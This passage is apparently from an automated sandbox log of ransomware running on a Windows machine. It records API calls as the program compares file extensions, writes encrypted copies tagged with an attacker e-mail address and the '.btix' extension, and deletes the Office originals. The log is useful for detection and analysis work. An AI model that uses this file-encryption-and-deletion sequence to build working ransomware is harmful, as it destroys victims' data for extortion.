(lpString1=".7z", lpString2="dll") returned -1 [0157.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0157.153] lstrlenW (lpString=".dbf") returned 4 [0157.153] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0157.153] lstrlenW (lpString=".1cd") returned 4 [0157.153] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0157.154] lstrlenW (lpString=".jpg") returned 4 [0157.154] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0157.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0157.154] lstrlenW (lpString=".doc") returned 4 [0157.154] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.154] lstrlenW (lpString=".docx") returned 5 [0157.154] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.154] lstrlenW (lpString=".pdf") returned 4 [0157.154] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.154] lstrlenW (lpString=".xls") returned 4 [0157.154] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.154] lstrlenW (lpString=".xlsx") returned 5 [0157.154] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.154] lstrlenW (lpString=".ppt") returned 4 [0157.154] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0157.154] lstrlenW (lpString=".zip") returned 4 [0157.154] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.154] lstrlenW (lpString=".rar") returned 4 [0157.154] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.154] lstrlenW (lpString=".bz2") returned 4 [0157.154] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.154] lstrlenW (lpString=".7z") returned 3 [0157.154] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0157.154] lstrlenW (lpString=".dbf") returned 4 [0157.154] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0157.154] lstrlenW (lpString=".1cd") returned 4 [0157.154] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0157.154] lstrlenW (lpString=".jpg") returned 4 [0157.154] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.155] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0157.155] lstrlenW (lpString="api-ms-win-crt-utility-l1-1-0.dll") returned 33 [0157.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0157.155] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=19136) returned 1 [0157.155] CloseHandle (hObject=0x364) returned 1 [0157.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x220 [0157.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0157.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0157.156] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.156] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0157.156] GetLastError () returned 0x0 [0157.156] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0157.158] WriteFile (in: hFile=0x358, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0157.159] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.159] WriteFile (in: hFile=0x358, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x116, lpOverlapped=0x0) returned 1 [0157.159] SetEndOfFile (hFile=0x358) returned 1 [0157.159] CloseHandle (hObject=0x358) returned 1 [0157.159] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.159] SetEndOfFile (hFile=0x364) returned 1 [0157.160] CloseHandle (hObject=0x364) returned 1 [0157.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll")) returned 1 [0157.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0157.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0157.161] lstrlenW (lpString=".doc") returned 4 [0157.161] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.161] lstrlenW (lpString=".docx") returned 5 [0157.161] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.161] lstrlenW (lpString=".pdf") returned 4 [0157.161] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.161] lstrlenW (lpString=".xls") returned 4 [0157.161] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.161] lstrlenW (lpString=".xlsx") returned 5 [0157.161] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.161] lstrlenW (lpString=".ppt") returned 4 [0157.161] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0157.161] lstrlenW (lpString=".zip") returned 4 [0157.161] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.161] lstrlenW (lpString=".rar") returned 4 [0157.161] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.161] lstrlenW (lpString=".bz2") returned 4 [0157.161] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.161] lstrlenW (lpString=".7z") returned 3 [0157.161] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0157.161] lstrlenW (lpString=".dbf") returned 4 [0157.161] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0157.161] lstrlenW (lpString=".1cd") returned 4 [0157.161] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0157.161] lstrlenW (lpString=".jpg") returned 4 [0157.161] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0157.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0157.162] lstrlenW (lpString=".doc") returned 4 [0157.162] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.162] lstrlenW (lpString=".docx") returned 5 [0157.162] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.162] lstrlenW (lpString=".pdf") returned 4 [0157.162] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.162] lstrlenW (lpString=".xls") returned 4 [0157.162] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.162] lstrlenW (lpString=".xlsx") returned 5 [0157.162] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.162] lstrlenW (lpString=".ppt") returned 4 [0157.162] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0157.162] lstrlenW (lpString=".zip") returned 4 [0157.162] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.162] lstrlenW (lpString=".rar") returned 4 [0157.162] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.162] lstrlenW (lpString=".bz2") returned 4 [0157.162] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.162] lstrlenW (lpString=".7z") returned 3 [0157.162] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0157.163] lstrlenW (lpString=".dbf") returned 4 [0157.163] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0157.163] lstrlenW (lpString=".1cd") returned 4 [0157.163] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0157.163] lstrlenW (lpString=".jpg") returned 4 [0157.163] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.163] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0157.163] lstrlenW (lpString="AppVDllSurrogate32.exe") returned 22 [0157.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0157.163] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=215768) returned 1 [0157.164] CloseHandle (hObject=0x364) returned 1 [0157.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe")) returned 0x220 [0157.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0157.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0157.164] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.164] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0157.165] GetLastError () returned 0x0 [0157.165] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x34ad8, lpOverlapped=0x0) returned 1 [0157.171] WriteFile (in: hFile=0x358, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x34ae0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x34ae0, lpOverlapped=0x0) returned 1 [0157.174] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.174] WriteFile (in: hFile=0x358, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x100, lpOverlapped=0x0) returned 1 [0157.174] SetEndOfFile (hFile=0x358) returned 1 [0157.174] CloseHandle (hObject=0x358) returned 1 [0157.174] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.174] SetEndOfFile (hFile=0x364) returned 1 [0157.176] CloseHandle (hObject=0x364) returned 1 [0157.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe")) returned 1 [0157.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0157.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0157.177] lstrlenW (lpString=".doc") returned 4 [0157.177] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0157.177] lstrlenW (lpString=".docx") returned 5 [0157.177] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0157.177] lstrlenW (lpString=".pdf") returned 4 [0157.177] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0157.177] lstrlenW (lpString=".xls") returned 4 [0157.177] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0157.177] lstrlenW (lpString=".xlsx") returned 5 [0157.177] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0157.177] lstrlenW (lpString=".ppt") returned 4 [0157.177] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0157.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0157.177] lstrlenW (lpString=".zip") returned 4 [0157.177] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0157.177] lstrlenW (lpString=".rar") returned 4 [0157.177] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0157.177] lstrlenW (lpString=".bz2") returned 4 [0157.177] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0157.177] lstrlenW (lpString=".7z") returned 3 [0157.177] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0157.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0157.177] lstrlenW (lpString=".dbf") returned 4 [0157.177] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0157.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0157.177] lstrlenW (lpString=".1cd") returned 4 [0157.177] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0157.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0157.177] lstrlenW (lpString=".jpg") returned 4 [0157.177] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0157.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0157.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0157.177] lstrlenW (lpString=".doc") returned 4 [0157.177] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0157.178] lstrlenW (lpString=".docx") returned 5 [0157.178] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0157.178] lstrlenW (lpString=".pdf") returned 4 [0157.178] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0157.178] lstrlenW (lpString=".xls") returned 4 [0157.178] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0157.178] lstrlenW (lpString=".xlsx") returned 5 [0157.178] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0157.178] lstrlenW (lpString=".ppt") returned 4 [0157.178] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0157.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0157.178] lstrlenW (lpString=".zip") returned 4 [0157.178] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0157.178] lstrlenW (lpString=".rar") returned 4 [0157.178] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0157.178] lstrlenW (lpString=".bz2") returned 4 [0157.178] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0157.178] lstrlenW (lpString=".7z") returned 3 [0157.178] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0157.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0157.178] lstrlenW (lpString=".dbf") returned 4 [0157.178] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0157.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0157.178] lstrlenW (lpString=".1cd") returned 4 [0157.178] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0157.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0157.178] lstrlenW (lpString=".jpg") returned 4 [0157.178] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0157.179] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0157.179] lstrlenW (lpString="AppVDllSurrogate64.exe") returned 22 [0157.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0157.179] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=255192) returned 1 [0157.179] CloseHandle (hObject=0x364) returned 1 [0157.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe")) returned 0x220 [0157.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0157.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0157.180] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.180] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0157.180] GetLastError () returned 0x0 [0157.180] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x3e4d8, lpOverlapped=0x0) returned 1 [0157.345] WriteFile (in: hFile=0x358, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x3e4e0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x3e4e0, lpOverlapped=0x0) returned 1 [0157.348] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.348] WriteFile (in: hFile=0x358, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x100, lpOverlapped=0x0) returned 1 [0157.348] SetEndOfFile (hFile=0x358) returned 1 [0157.788] CloseHandle (hObject=0x358) returned 1 [0157.788] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.788] SetEndOfFile (hFile=0x364) returned 1 [0157.790] CloseHandle (hObject=0x364) returned 1 [0157.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe")) returned 1 [0157.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0157.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0157.790] lstrlenW (lpString=".doc") returned 4 [0157.790] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0157.790] lstrlenW (lpString=".docx") returned 5 [0157.790] lstrcmpiW (lpString1=".docx", lpString2="4.exe") returned -1 [0157.791] lstrlenW (lpString=".pdf") returned 4 [0157.791] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0157.791] lstrlenW (lpString=".xls") returned 4 [0157.791] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0157.791] lstrlenW (lpString=".xlsx") returned 5 [0157.791] lstrcmpiW (lpString1=".xlsx", lpString2="4.exe") returned -1 [0157.791] lstrlenW (lpString=".ppt") returned 4 [0157.791] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0157.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0157.791] lstrlenW (lpString=".zip") returned 4 [0157.791] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0157.791] lstrlenW (lpString=".rar") returned 4 [0157.791] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0157.791] lstrlenW (lpString=".bz2") returned 4 [0157.791] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0157.791] lstrlenW (lpString=".7z") returned 3 [0157.791] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0157.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0157.791] lstrlenW (lpString=".dbf") returned 4 [0157.791] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0157.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0157.791] lstrlenW (lpString=".1cd") returned 4 [0157.791] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0157.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0157.791] lstrlenW (lpString=".jpg") returned 4 [0157.791] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0157.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0157.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0157.791] lstrlenW (lpString=".doc") returned 4 [0157.791] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0157.791] 